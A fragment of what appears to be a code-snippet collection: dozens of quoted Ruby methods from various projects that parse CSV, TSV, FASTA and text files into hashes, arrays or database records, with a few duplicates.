"def get_references\n references_hash = {}\n FasterCSV.foreach(\"#{Source_path}/TbReference.csv\", :quote_char => '\"', :col_sep =>',', :row_sep =>:auto) do |row|\n references_hash[row[0]] = row[6]\n end\n return references_hash\nend",
"def read_and_hash\n $students = []\n file = File.open('grades.csv', 'r')\n files = file.readlines\n files = files.map(&:chomp)\n files = files.map { |line| line.split(/\\W+/) }\n file.close()\n files.each do |array|\n $students.push(name: array.shift, grades: array)\n end\nend",
"def readUnihanDatabase(filename, char_hash)\n File.open(filename) do |f|\n while (line = f.gets)\n next if line.match(/^#/) # line commented out?\n a = line.strip.split(\"\\t\")\n char_hash[a[0]] = Hash.new() unless char_hash.has_key? a[0]\n char_hash[a[0]][a[1].to_sym] = a[2]\n end\n end\nend",
"def loadCSV\n csvFile = File.open(\"app/assets/csv/test.csv\", \"r\") #Open file with readpermissions\n if csvFile #if file was successfully opened \n csvRowArray = IO.readlines(csvFile) # Turn each row into an array element\n rowId=1 #0 is the Header Row, 1 is the first dataset.\n recordsArray = Array.new(csvRowArray.size-1)\n while csvRowArray[rowId] do #for each row that exists \n rowEntry = csvRowArray[rowId]\n rowEntry.gsub!(/\"/,'') # Remove all the '\"'s\n wordArr = rowEntry.split(\",\") #Split the array on ','s into a new array \n newRecord = Record.new\n newRecord.REF_DATE = wordArr[0]\n newRecord.GEO = wordArr[1]\n newRecord.DGUID = wordArr[2]\n newRecord.Sex = wordArr[3]\n newRecord.Age_group = wordArr[4]\n newRecord.Student_response = wordArr[5]\n newRecord.UOM = wordArr[6]\n newRecord.UOM_ID = wordArr[7]\n newRecord.SCALAR_FACTOR = wordArr[8]\n newRecord.SCALAR_ID = wordArr[9]\n newRecord.VECTOR = wordArr[10]\n newRecord.COORDINATE = wordArr[11]\n newRecord.VALUE = wordArr[12]\n newRecord.STATUS = wordArr[13]\n newRecord.SYMBOL = wordArr[14]\n newRecord.TERMINATED = wordArr[15]\n newRecord.DECIMALS = wordArr[16]\n newRecord.save\n puts rowId\n rowId = rowId+1 \n end\n return recordsArray\n else #file not opened\n puts \"Unable to open file\" \n return \n end \n end",
"def load_file(file_name)\n\tpatients_info = {}\n\tFile.open(file_name).each do |line|\n\t\tline.chomp!\n\t\tfields = line.split(\"\\t\")\n\t\tchrom_number = fields.delete_at(1)\n\t\tfields = fields[0..2]\n\t\tfields.map!{|a| a.to_i}\n\t\tquery = patients_info[chrom_number]\n\t\tif query.nil?\n\t\t\tpatients_info[chrom_number] = [fields]\n\t\telse\n\t\t\tquery << fields\n\t\tend\n\tend\n\treturn patients_info\nend",
"def hash_record! ht, rec, duplicate_type\n case duplicate_type\n when 1 # whole header match\n unless ht.has_key? rec.header\n ht[rec.header] = rec\n end\n when 2 # header ID match\n unless ht.has_key? rec.id\n ht[rec.id] = rec\n end\n when 3 # whole seq match\n unless ht.has_key? rec.seq\n ht[rec.seq] = rec\n end\n when 4 # whole seq + whole header\n key = \"#{rec.header}#{rec.seq}\"\n unless ht.has_key? key\n ht[key] = rec\n end\n when 5 # whole seq + hedaer ID\n key = \"#{rec.id}#{rec.seq}\"\n unless ht.has_key? key\n ht[key] = rec\n end\n end\nend",
"def hashNQS()\n @hash_nqs={}\n nqsReader=File.open(@nqsFile,\"r\")\n nqsReader.each do |line|\n cols=line.split(/\\s+/)\n \n name=cols[0]\n next if name==\"readName\"\n length=cols[1]\n dist=cols[2]\n qual=cols[3].to_i\n pass=cols[4]\n \n str_result=length+'.'+pass\n str=name+'.'+dist\n if @hash_nqs[str]==nil\n @hash_nqs[str]=str_result\n end\n end\n nqsReader.close\n $stderr.puts @hash_nqs.size\nend",
"def add_to_list(list_name, file_name)\n csv = CSV.read(file_name)\n\n csv.each do |entry|\n @r.hmset entry[0], \"id\", entry[0], \"email\", entry[1], \"status\", entry[2]\n @r.sadd(list_name, entry[0]) if entry[2] == \"Active\"\n end\nend",
"def constructHashFromFile(input)\n\t\t\tresult = Hash.new()\n\t\t\tsize = input.size/6\n\t\t\tfor i in 0..size-1\n\t\t\t\talimento = Alimento.new(input[6*i], input[6*i+1].to_f, input[6*i+2].to_f, input[6*i+3].to_f, input[6*i+4].to_f, input[6*i+5].to_f)\n\t\t\t\tresult.store(input[6*i] , alimento )\n\t\t\tend\n\t\t\treturn result\n\t\tend",
"def load(file)\n rows = CSV.read(file)\n headers = rows.shift.map { |col| col.parameterize.underscore.to_sym }\n rows.map! { |row| Hash[headers.zip(row)] }\n end",
"def load_data() \n target_data = open(@trainingfile, \"r\")\n target_data.each_line do |line|\n reviewer_val, movie_val, rating_val, timestamp_val = line.split\n userarray = [{reviewer_val => rating_val}]\n moviearray = [{movie_val => rating_val}]\n if @movie_hash.has_key?(movie_val) #adding arrays to the hashes...\n @movie_hash[movie_val].push({reviewer_val => rating_val})\n else \n @movie_hash[movie_val] = userarray\n end\n \n if @user_hash.has_key?(reviewer_val)\n @user_hash[reviewer_val].push({movie_val => rating_val})\n else\n @user_hash[reviewer_val] = moviearray\n end\n \n end \n target_data.close \n end",
"def insert_records file_id,records\n sql = \"INSERT INTO #{@table_records} (file_id,\" \n @db.connect do \n records.each do |name,hash|\n fields = hash[:fields]\n values = hash[:values]\n sql_ = sql + fields.keys.join(',') + \") VALUES \"\n sql_ += values.map do |rec| \n index_value fields,rec ## THIS LINE ;)\n row = [file_id] + rec.values_at(*fields.values)\n RubyUtil::sqlize(row)\n end.join(',')\n @db.query(sql_)\n end\n end\n end",
"def read_data(fname)\n ents=[]\n if ( File.exist?(fname) )\n File.open(fname,'r') do |f|\n f.each_line do |line|\n line.chomp!\n a1,a2,a3,a4,a5,a6 = line.split(/\\s*==\\s*/)\n hash={}\n hash[\"1\"] = a1\n hash[\"2\"] = a2\n hash[\"3\"] = a3\n hash[\"4\"] = a4\n hash[\"5\"] = a5\n hash[\"6\"] = a6\n ents.push(hash)\n end\n end\n end\n ents\nend",
"def load_student_file\n @student_records = {}\n open(@student_file) do |input_file|\n CSV::Reader.parse(input_file) do |csv_record|\n @student_records[csv_record[0].to_s] = create_student_record(csv_record)\n end\n puts \"#{@student_records.size} records loaded from student.csv\"\n puts \"record for 716012 => \" + @student_records['716012'].inspect\n puts \"record for 725311 => \" + @student_records['725311'].inspect\n end\n end",
"def initMetaData(csvfile,metamap,keyfield)\n\t\tallRows = CSV.read(csvfile,{:col_sep=>\";\"})\n\t\tif allRows and not allRows.empty?\n\t\t\ttitle = allRows[1]\n\t\t\tallRows.each_with_index do |row,i|\n\t\t\t\tif i > 1\n\t\t\t\t\tmetaData = Model::MetaData.new(title,row)\n\t\t\t\t\tkey = metaData.send(keyfield)\n\t\t\t\t\tmetamap[key] = metaData\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def process_csv(file)\n data = CSV.read(file, {encoding: \"UTF-8\", headers: true, header_converters: :symbol, converters: :all})\n hashed_data = data.map { |d| d.to_hash } \n \n puts \"CSV Loaded...\"\n\n return hashed_data\n end",
"def import_reading_lookup_values lines, types=@lookup_attributes, validate=false, delete_all=true\n ActiveRecord::Base.transaction do |transaction|\n #returns a hash of arrays of values\n unique_values = get_unique_values types, lines\n unique_values.each_pair do |column,values|\n #assume model name same as attribute name\n table = eval(column.to_s.capitalize)\n table.delete_all if delete_all\n #make assumption name that e.g. kunyomi is column\n #Kunyomi is model, with exception of skip_pattern\n if column == :skip\n column = :skip_pattern\n end\n if values.any?\n #convert values array to 2D array for ar-extensions import\n values2d =[]\n values.each do |v|values2d<<[v];end\n puts \"importing #{table}\"\n table.import [column],values2d, :validate=>validate\n puts \"imported #{table}\"\n end\n\n end\n end\n\n generate_lookups()\n end",
"def parse_hash\n \thash = {}\n \t# Remove the first five lines of the file\n \ttemp_array = @readin[5, @readin.length]\n \t# Split the input at the semicolon: the left hand side is a timestamp and the right hand side\n \t# is the value (either power in W, or energy in Wh depending on the file type).\n \t# This is committed to a hash with time as the key and the W/Wh as the value.\n \ttemp_array.each do |s|\n \t\tk,v = s.split(/;/)\n \t\t# the Aurora reports time as seconds since 1/1/0000 and Ruby reports time utilizing an epoch\n \t\t# that began on 1/1/1970. The time stamp is adjusted for the time in seconds between these\n \t\t# two dates.\n \t\thash[Time.at(k.to_i - 62167104000)] = v.to_f\n \tend\n \treturn hash\n end",
"def parse\n data = CSV.parse(@input_data)\n data.shift # remove header row\n headers = [:player_key, :birth_year, :first_name, :last_name]\n data.map {|row| Hash[ *(headers.zip(row).flatten) ] }\n end",
"def load_duplicates(filename)\n Hash.new.tap do |duplicates|\n CSV.foreach(filename) do |row|\n duplicates[row[0]] = row[1].to_i\n end\n end\nend",
"def load_hash\n\t matrices = {}\n\t linenum = 1\n\t success = true\n\t \n\t savefile = File.open(@fname, \"r\")\n\t \n\t while success and not savefile.eof?\n\t # get a line which should have a user identifier\n\t line = savefile.readline.chomp.split\n\t \n\t if line.length == 1\n\t if @parser.user_identifier? line.first\n\t identifier = line.first\n\t matrix = []\n\t matrix_loaded = false\n\t cols = nil\n\t first_read = true\n\t # get matrix input from file\n\t while success and not matrix_loaded\n\t \n\t if not savefile.eof?\n \t row = read_row savefile\n \t linenum += 1\n \t if first_read \n \t if row == []\n \t puts \"Load Error: Expected matrix definition to follow identifier on line #{linenum}.\"\n \t success = false\n \t elsif not row.equal? nil\n \t cols = row.length\n \t end\n \t first_read = false\n \t end\n\n \t if not row.equal? nil\n \t if row == [] \n \t matrix_loaded = true\n \t else\n \t # end of row input not yet reached\n \t if cols == row.length\n \t # valid number of columns and valid return from read_row\n \t matrix.push []\n \t row.each { |integer|\n \t matrix[matrix.length - 1].push integer\n \t }\n \t else\n \t puts \"Load Error: Expected #{cols} columns at line #{linenum}.\"\n \t success = false\n \t end\n \t if savefile.eof?\n \t matrix_loaded = true\n \t end\n \t end\n \t else\n \t # print linenum of error in file\n \t puts \"(line #{linenum})\"\n \t success = false\n \t end\n \t else\n \t puts \"Load Error: Expected matrix definition to follow identifier on line #{linenum}.\"\n \t success = false\n \t end\n\t end # end while loop\n\t \n\t if success\n\t matrices[identifier] = matrix\n\t end\n\t \n\t else\n\t puts \"Load Error: Expected Identifier on line #{linenum}.\"\n\t success = false\n\t end\n\t else\n\t puts \"Load Error: Extra characters on line #{linenum}.\"\n\t success = false\n\t end\n\t \n\t # increment linenum\n\t linenum += 1\n\t end\n\t \n\t savefile.close\n\t \n\t if not success\n \tputs 'Aborting savefile load...'\n \tend\n \t\n \t# should be safe to return this even after an abort.\n \t# This way, any matrices that were successfully entered in the\n \t# file will still be loaded.\n\t return matrices \n\tend",
"def load_data(filename)\n if File.exist? filename\n File.foreach (filename) do |line|\n number = line.chomp.to_i\n next if (@hash1.key?(number) || @hash2.key?(number))\n @hash1[number] = true if number <= 0\n @hash2[number] = true if number > 0\n end\n end\n end",
"def csv_import(the_file)\n import_list = []\n CSV.foreach(the_file, headers: true) do |row|\n import_list << row.to_hash\n end\n import_list\n end",
"def read_in_ownership(csv_file_name, temp_hash = Hash.new)\n\t CSV.foreach(csv_file_name, :headers => true) do |row|\n\t\t song_id, owner_data = row[0], row[1]\n\t \t unless (song_id =~ /#/)\n\t \t \t temp_hash[song_id] = owner_data\n\t \t end\n end\n temp_hash\n\tend",
"def load_report_to_hash(file = nil)\n # Need to add option to pass an array\n require \"csv\" unless defined? CSV\n file ||= Dir.glob(\"#{ENV[\"HOME\"]}/Google Drive/CMS Reports/cms_report*.csv\").sort_by{|x| File.mtime(x)}.last\n @data = CSV.read(file)\n @data[0] = @data[0].map{|x| x.downcase.gsub(\" \",\"_\")} #convert headers to slug\n @headers = @data[0]\n @data[1..-1].map {|r| \n @cms ||= {}\n @cms[title_slug(r[@headers.index(\"show_name\")], r[@headers.index(\"video_name\")])] = r\n }\n @cms\n end",
"def read\n data = []\n\n File.open(@source) do |file|\n while line = file.gets\n data.push(Hash[@columnNames.zip(line.split(' '))])\n end\n end\n\n data\n end",
"def read_in_ownership(csv_file_name, temp_hash = Hash.new)\n\t CSV.foreach(csv_file_name, :headers => true) do |row|\n\t\t song_id, owner_data = row[0], row[1]\n\t \t unless (song_id =~ /#/)\n\t \t \t temp_hash[song_id] = owner_data\n\t \t end\n end\n temp_hash\n\tend",
"def import_base\n CSV.foreach(@file.path, encoding: detect_encoding, headers: true) do |row|\n next if row.blank?\n yield ActiveSupport::HashWithIndifferentAccess.new(row)\n end\n end",
"def split!\n return @keys if instance_variable_defined?('@keys')\n ranges = row_chunker.ranges_for(input_csv)\n @keys = ranges.map.with_index do |range, index|\n chunk_key = key_from_index(index, ranges.count)\n contents = csv_from_range(range)\n BulkProcessor.config.file_class.new(chunk_key).write(contents)\n chunk_key\n end\n end",
"def process_str_file(file_array)\n column_headings = []\n file_array.each do |f|\n\n #File.open(params[:inputfile],\"r\") do |file|\n # while (f = file.gets)\n next if f =~ /^#/ # ignore lines that start with a hash - comments\n f.strip! # remove any whitespace, linefeeds, etc.\n\n # if this line has the column headings, extract and do the next line\n if f =~ /^Order/\n column_headings = f.split(/\\t/)\n next\n end\n\n # Split the biomart dump file on tabs\n the_data = f.split(/\\t/)\n\n case the_data[2]\n when 'TRAIT'\n load_hjj_trait_data(column_headings,the_data)\n when 'SNP'\n load_hjj_snp_data(column_headings,the_data)\n when 'STR'\n load_hjj_str_data(column_headings,the_data)\n end\n\n #end # end of while loop\n end # of File.open\n \n end",
"def index_source(lines, options)\n @lines = {}\n @index = Hash.new{ |h, k| h[k] = [] }\n if @field_names\n index_fields(options)\n end\n @case_sensitive = options.fetch(:case_sensitive, true)\n @trim_whitespace = options.fetch(:trim_whitespace, false)\n @line_count = 0\n @skip_count = 0\n line_num = 0\n lines.each do |row|\n line_num += 1\n next if line_num == 1 && @field_names && options[:ignore_header]\n unless @field_names\n @field_names = row.each_with_index.map{ |f, i| f || i.to_s }\n index_fields(options)\n next\n end\n field_vals = row\n line = {}\n filter = false\n @field_names.each_with_index do |field, i|\n line[field] = field_vals[i]\n line[field].strip! if @trim_whitespace && line[field]\n if @include_filter && f = @include_filter[i]\n filter = !check_filter(f, line[field])\n end\n if @exclude_filter && f = @exclude_filter[i]\n filter = check_filter(f, line[field])\n end\n break if filter\n end\n if filter\n @skip_count += 1\n next\n end\n key_values = @key_field_indexes.map{ |kf| @case_sensitive ?\n field_vals[kf].to_s : field_vals[kf].to_s.upcase }\n key = key_values.join('~')\n parent_key = key_values[0...(@parent_fields.length)].join('~')\n if @lines[key]\n @warnings << \"Duplicate key '#{key}' encountered and ignored at line #{line_num}\"\n @skip_count += 1\n else\n @index[parent_key] << key\n @lines[key] = line\n @line_count += 1\n end\n end\n end",
"def data\n @data ||= Dir['data/*'].reduce({}) do |data, file|\n raw_data = File.read(file)\n filename = parse_filename(file)\n schema = schemas[filename]\n\n data[filename] = raw_data.split(\"\\n\").map do |row|\n schema.reduce({}) do |object, column|\n # slice from the beginning of the row the relevant number of\n # characters based on the column's attribute length\n raw_value = row.slice!(0, column[:length].to_i)\n\n parsed_value = parse_attribute(raw_value, column[:type])\n object[column[:name]] = parsed_value\n object\n end\n end\n end\n end",
"def load_family_file\n @family_records = {}\n open(@family_file) do |input_file|\n CSV::Reader.parse(input_file) do |csv_record|\n @family_records[csv_record[0].to_s] = create_family_record(csv_record)\n end\n puts \"#{@family_records.size} records loaded from family.csv\"\n puts \"record for 71601 => \" + @family_records['71601'].inspect\n puts \"record for 72531 => \" + @family_records['72531'].inspect\n end\n end",
"def read_time_table(fname)\n ents=[]\n File.open(fname,'r') do |f|\n f.each_line do |line|\n line.chomp!\n a1,a2,a3,a4,a5 = line.split(/\\s*==\\s*/)\n hash={}\n hash[\"1\"] = a1 # id\n hash[\"2\"] = a2 # start time\n hash[\"3\"] = a3 # end time\n hash[\"4\"] = a4 # person\n hash[\"5\"] = a5 # title\n ents.push(hash)\n end\n end\n ents\nend",
"def generate_survey_data\n @survey_data = CSV.parse(@survey_file, headers: true, header_converters: :symbol).map(&:to_hash)\n end",
"def dissect_to_record_hashes\n end",
"def import_from_csv(file_name)\n # implementation\n csv_text = File.read(file_name)\n # the variable 'csv' is a table type object\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\n \n # \n csv.each do |row|\n # create a hash type variable 'row_hash'\n row_hash = row.to_hash\n # use 'add_entry' to change 'row_hash' into 'Entry', also add the new Entry into AddressBook's entries\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\n end\n end",
"def parse\n input_data.each do |filename, data|\n rowdata_template = OpenStruct.new\n @preprocess_block.call(filename, rowdata_template) if @preprocess_block\n\n arrived_at_table_data = false\n\n data.split(\"\\r\\n\").each do |line|\n next if line.strip.empty? # Skip blank and whitespace lines\n\n if !arrived_at_table_data\n next if line =~ /\\ACreated by SunData/ # Skip created by line\n if date_match = line.match(/\\A(\\d\\d\\d\\d-\\d\\d-\\d\\d)\\t\\tLocal time is (GMT.\\d+ Hrs)/)\n rowdata_template.date = date_match[1]\n rowdata_template.timezone = date_match[2]\n end\n\n if sunscan_match = line.match(/\\ASunScan probe (v.*)/)\n rowdata_template.sunscan_version = sunscan_match[1]\n end\n\n if matches = line.scan(/\\s*([^\\t:]+)\\s*:\\s*([^\\t:]+)/)\n matches.flatten.map(&:strip).each_slice(2) do |key, value|\n next if value.nil? || value.empty?\n rowdata_template[key.downcase.gsub(\" \", \"_\")] = value\n end\n end\n\n # Once we hit the table hearder we can start processing tabular data.\n # The header is two lines long because of the formatting.\n next if line =~ /\\ATime\\tPlot\\t/\n arrived_at_table_data = true and next if line =~ /\\s+mitted\\s+ent/\n\n\n else\n rowdata = rowdata_template.dup\n table_line = line.split(\"\\t\")\n rowdata.time = table_line[0]\n rowdata.plot = table_line[1]\n rowdata.sample = table_line[2]\n rowdata.transmitted = table_line[3]\n rowdata.spread = table_line[4]\n rowdata.incident = table_line[5]\n rowdata.beam = table_line[6]\n rowdata.zenith_angle = table_line[7]\n rowdata.lai = table_line[8]\n rowdata.notes = table_line[9]\n # Only record output data once the full line data has been captured.\n output_data << rowdata\n end\n end\n end\n end",
"def load_file full_name\n file = FasterCSV.open( full_name , { :col_sep => \"\\t\"} ) \n @header = file.shift\n @data = file.readlines\n #puts @header\n @header.each do |col|\n #puts \"col=#{col}= mapped to =#{@mapping[col]}=\"\n end\n index = 0\n while index < @data.length\n row = @data[index]\n #puts \"row is \" + row.join(\"--\")\n @mapping.each do |key,val|\n #puts \"Row:#{val} at #{@mapping.index(val)} is --#{@header.index(@mapping.index(val))}--value---\"\n #puts \"--#{at_in(val,row)}--\" if @header.index(@mapping.index(val))\n end\n prod = get_product(row)\n set_attributes_and_image( prod , row )\n set_taxon(prod , row)\n #puts \"saving -\" + prod.description + \"- at \" + at_in(:price,row) #if at_in(:price,row) == \"0\"\n prod.save!\n throw \"no master for #{prod.name}\" if prod.master == nil \n# pr = get_product( row )\n# puts \"TAXONs #{pr.taxons}\"\n \n puts \"saved -\" + prod.description + \"- at \" + at_in(:price,row) #if at_in(:price,row) == \"0\"\n index = slurp_variants(prod , index + 1) #read variants if there are, returning the last read line\n end\n\n end",
"def seed_from_csv(migration_class, csv_file)\n migration_class.transaction do\n csv_file.each do |line_values|\n record = migration_class.new\n line_values.to_hash.keys.map do |attribute|\n record.send(\"#{attribute.strip}=\",line_values[attribute].strip) rescue nil\n end\n record.save(:validate => false)\n end\n end\n end",
"def load_students (filename = \"students.csv\")\n #open the filename or students.csv as default\n File.open(filename, \"r\") do |file|\n #iterate over each line in the file\n file.readlines.each do |line|\n #split at the comma and parallel assign name to the first value, cohort to the second\n name, cohort = line.chomp.split(\",\")\n #create a hash and push to the @students array using method\n @students << {name: name, cohort: cohort}\n end\n end\nend",
"def load_csv()\n f = File.read(INPUT_CSV)\n CSV.parse(f, :headers => true, :col_sep => \",\").map do |row|\n as_hash = row.to_hash\n\n geom = { \n type: \"Point\",\n coordinates: as_hash['coordinates'].split.map { |num| num.to_f }\n }\n\n as_hash.delete('coordinates')\n as_hash['geom'] = geom\n\n if (as_hash['pic_url'].strip.length < 1)\n as_hash.delete('pic_url')\n end\n\n if (as_hash['place_image'].strip.length < 1)\n as_hash.delete('place_image')\n end\n\n as_hash\n end\nend",
"def create_people_raw\n @@people_raw = CsvMapper.import('test_ward.csv') do\n read_attributes_from_file\n end\nend",
"def load_students\n puts \"Loading file\"\n # Open the file with \"read\" privilages\n file = File.open(\"students.csv\", \"r\")\n # Go through each line of the file\n file.readlines.each do |line|\n # .. picking out the name and cohort columns\n name, cohort = line.chomp.split(',')\n # Add them to the student variable as a hash\n @students << {name: name, cohort: cohort.to_sym}\n end\n # Close the file\n file.close\nend",
"def import_from_csv(file_name)\n csv_text = File.read(file_name)\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\n # #8 iterate over the CSV::Table rows then create a hash for each row, convert each row_hash\n #to an Entry by using the add_entry method\n csv.each do |row|\n row_hash = row.to_hash\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\n end\n end",
"def get_csv_data(infile)\n csv_data = CSV.read infile\n headers = csv_data.shift.map {|i| i.to_s }\n string_data = csv_data.map {|row| row.map {|cell| cell.to_s } }\n return string_data.map {|row| Hash[*headers.zip(row).flatten] }\nend",
"def get_csv_data(infile)\n csv_data = CSV.read infile\n headers = csv_data.shift.map {|i| i.to_s }\n string_data = csv_data.map {|row| row.map {|cell| cell.to_s } }\n return string_data.map {|row| Hash[*headers.zip(row).flatten] }\nend",
"def mapArrayToHash(rowarr, field_names)\n\ta = [] # an array of hashes\n\trowarr.each do |row|\n\t\thash = Hash.new\n\t\t0.upto(field_names.length-1) do |index|\n\t\t\t#puts \"#{index} #{field_names[index]} VALUE= #{row[index]} }\"\n\t\t\thash[field_names[index].downcase.to_sym] = row[index]\n\t\tend\n\t\ta << hash\n\tend\n\ta\nend",
"def fasta_to_hash(infile)\n f=File.open(infile,\"r\")\n return_hash = {}\n name = \"\"\n while line = f.gets do\n if line =~ /^\\>/\n name = line.chomp\n return_hash[name] = \"\"\n else\n return_hash[name] += line.chomp\n end\n end\n f.close\n return return_hash\nend",
"def fasta_to_hash(infile)\n f=File.open(infile,\"r\")\n return_hash = {}\n name = \"\"\n while line = f.gets do\n if line =~ /^\\>/\n name = line.chomp\n return_hash[name] = \"\"\n else\n return_hash[name] += line.chomp\n end\n end\n f.close\n return return_hash\nend",
"def CSVHash arg, columns=nil\n if arg.is_a?(File)\n CSVHash.from_file(arg.path)\n elsif arg.is_a?(String)\n CSVHash.from_file(arg)\n elsif arg.is_a?(Array) && columns.is_a?(Array)\n CSVHash.to_string(arg,columns)\n end\nend",
"def prod_to_hash(csv_name)\n\tprod_array = CSV.read(csv_name)\n\tprod_array.each_with_index do |line, index|\n\t\tnext if line[0] == \"Opportunity ID\" \n\t\tbreak if line[0] == nil\n\t\t@current_opp_list[line[0]] = Opportunity.new(line[@prods_opp], line[@prods_prod], line[@prods_access], line[@prods_status], \"unknown\")\n\t\t\n\tend\n\t\nend",
"def initialize(insert_with_csv_size = 50, indices = {})\n @insert_with_csv_size = insert_with_csv_size\n @record_store = Hash.new { |h, k| h[k] = Set.new }\n @record_index = Index.new(indices)\n end",
"def load_hashes(data_set)\n\t\tFile.open(data_set, \"r\") do |f|\n\t\t\tf.each_line do |line|\n\t\t\t\t@@line_array = line.split(' ')\n\t\t\t\tload_user_info\n\t\t\t\tload_movie_viewers\n\t\t\t\tload_movie_ratings\t\n\t\t\tend\n\t\tend\n\tend",
"def load_data(row, columns, headers)\n #// HEADER EXCLUSION LIST:\n #// ----------------------\n exclusion_list = [\n 'Option_Types'\n ]\n attr_hash = {}\n exception_hash = {}\n sanitized_headers_array = []\n header_return_array = []\n \n for i in columns[0]..columns[1]\n exclusion_list.each do |exclusion|\n if headers[i] =~ /#{exclusion}/i\n exception_hash[exclusion] = row[i]\n elsif headers[i] == exclusion\n exception_hash[exclusion] = row[i]\n else\n attr_hash[headers[i]] = row[i] unless row[i].nil?\n sanitized_headers_array << headers[i]\n end\n end\n \n end\n header_return_array[0] = attr_hash\n header_return_array[1] = exception_hash\n header_return_array[2] = sanitized_headers_array\n return header_return_array\n end",
"def get_data(file_name)\n @all_data=[]\n\n CSV.foreach(file_name, :headers => true) do |row|\n first=row[\"first_name\"]\n last=row[\"last_name\"]\n position=(row[\"position\"]).tr(\" \",\"_\")\n team=(row[\"team\"]).tr(\" \",\"_\")\n\n @all_data.push( {:Team => team, :First_Name => first, :Last_Name => last, :Position => position} )\n end\n @all_data\nend",
"def load_data (file, data, k=nil)\n\t\ti=0\n\t\tfile.each_line do |line|\n\t\t\tif i ==k \n\t\t\t\tbreak\n\t\t\tend\n\t\t\twords = line.split(\"\\t\")\n\t\t\tif data.has_key?(words[0].to_i)\n\t\t\t\tdata[words[0].to_i].store_data(words[1].to_i,words[2].to_i)\n\t\t\telse\n\t\t\t\tx = User_data.new\n\t\t\t\tx.store_data(words[1].to_i,words[2].to_i)\n\t\t\t\tdata.store(words[0].to_i, x)\n\t\t\tend\n\t\t\ti+=1\n\t\tend\n\tend",
"def process_hash_row(hsh)\n if @headers.any?\n keys_or_values = hsh.values\n @row_id = hsh[:row_id]\n else\n keys_or_values = hsh.keys.map(&:to_s)\n end\n\n file_line = keys_or_values.join(',')\n validated_line = utf_filter(check_utf(file_line))\n res = line_parse(validated_line)\n res\n end",
"def text2hash (stanza_name,query_names, tax_id)\n result = {}\n #load each query result file\n query_names.each do |query_name|\n input_file = \"#{PREPARE_DIR}/text/#{query_name}/#{tax_id}.txt\"\n File.open(\"#{input_file}\") do |f|\n while line = f.gets\n # convert a line to hash object\n columns_info = get_query_columns(stanza_name, query_name)\n gene_text_data = gene_obj_mapping(line, query_name, columns_info)\n\n gene_id = gene_text_data[\"gene_id\"]\n if result[gene_id] == nil\n result[gene_id] = gene_text_data\n else\n result[gene_id].merge!(gene_text_data) do |key, oldval, newval|\n if key.to_s == 'gene_id' || key.to_s == '@id' # no repeat of tax id\n oldval\n else # concat text data\n oldval.concat(newval).uniq\n end\n end\n end\n end\n end\n end\n result\nend",
"def parse_to_load_file(csv)\n csv.each_with_index do |student, index|\n student = {month: csv[index][0] , name: csv[index][1], city: csv[index][2], hobby: csv[index][3]}\n @students << student\n end\nend",
"def import_data\r\n # generate data column instances\r\n columnheaders_raw.each do |columnheader|\r\n\r\n data_column_information = initialize_data_column_information(columnheader)\r\n data_column_new = Datacolumn.create!(data_column_information)\r\n all_cells_for_one_column = data_for_columnheader(columnheader)[:data]\r\n datatype = Datatypehelper.find_by_name(data_column_information[:import_data_type])\r\n\r\n unless all_cells_for_one_column.blank?\r\n save_all_cells_to_database(data_column_new, datatype, all_cells_for_one_column)\r\n add_any_sheet_categories_included_for_this_column(columnheader, data_column_new)\r\n add_acknowledged_people(columnheader, data_column_new)\r\n end\r\n data_column_new.finished = true\r\n end\r\n end",
"def initialize(csvfile)\n csv_data = CSV.read(csvfile)\n @headers = csv_data.shift.map {|i| i.to_s }\n string_data = csv_data.map {|row| row.map {|cell| cell.to_s } }\n @array_of_hashes = string_data.map {|row|\n tmparray = @headers.zip(row)\n tmparray.each_index {|i|\n if i > 0 && (tmparray[i-1][0] == tmparray[i][0]) # same header\n tmparray[i][1] = \"#{tmparray[i-1][1]}\\n#{tmparray[i][1]}\"\n elsif i > 1 && (tmparray[i-2][0] == tmparray[i][0]) # same header\n tmparray[i][1] = \"#{tmparray[i-2][1]}\\n#{tmparray[i][1]}\"\n end\n }\n tmparray << [\"priority\", \"minor\"] # since there's no eqvt for priority in pivotal\n Hash[*tmparray.flatten] \n }\n\n @pivotal_to_bitbucket_attribute_map = { \n \"Story\" => \"title\",\n \"Story Type\" => \"kind\",\n \"Owned By\" => \"responsible\",\n \"Description\" => \"content\",\n \"Comment\" => \"content\",\n \"Task\" => \"content\",\n \"Current State\" => \"status\",\n }\n\n @pivotal_to_bitucket_value_map = {\n # story types\n \"chore\" => \"task\",\n \"feature\" => \"enhancement\",\n \"bug\" => \"bug\",\n \"release\" => \"proposal\",\n\n # status\n \"accepted\" => \"resolved\",\n \"started\" => \"open\",\n \"unscheduled\" => \"new\",\n\n # user names\n \"Anirudh Ramachandran\" => \"oakenshield\",\n }\n\n @array_of_hashes.each_index do |i|\n # puts @array_of_hashes[i].inspect\n @array_of_hashes[i].dup.each do |k,v|\n unless @pivotal_to_bitbucket_attribute_map[k].nil? \n next if v.nil?\n\n @array_of_hashes[i][@pivotal_to_bitbucket_attribute_map[k]] = \"\" if \n @array_of_hashes[i][@pivotal_to_bitbucket_attribute_map[k]].nil?\n\n val = unless @pivotal_to_bitucket_value_map[v].nil?\n @pivotal_to_bitucket_value_map[v]\n else\n v\n end\n\n #puts \"adding new k/v #{@pivotal_to_bitbucket_attribute_map[k]} => #{val}\"\n @array_of_hashes[i][@pivotal_to_bitbucket_attribute_map[k]] << \"#{val}\"\n end\n end\n end\n end",
"def populate_table_with_id_value_normalized_value(database, table_name, source_type, csv_file)\n return if database.table_exists?(table_name)\n database.create_table table_name do\n # primary_key :id\n Integer :id, primary_key: true, index: {unique: true} # non-autoincrementing\n String :value\n foreign_key :normal_form_id, index: true\n end\n data = File.readlines(csv_file).drop(1).map{|line|\n id, value, normal_form = line.chomp.split(\"\\t\", 3)\n normal_form_id = DB[:normal_forms].where(value: normal_form, source_type: source_type).get(:id)\n normal_form_id ||= DB[:normal_forms].insert(value: normal_form, source_type: source_type)\n [Integer(id), value, normal_form_id]\n }\n database[table_name].import([:id, :value, :normal_form_id], data)\nend",
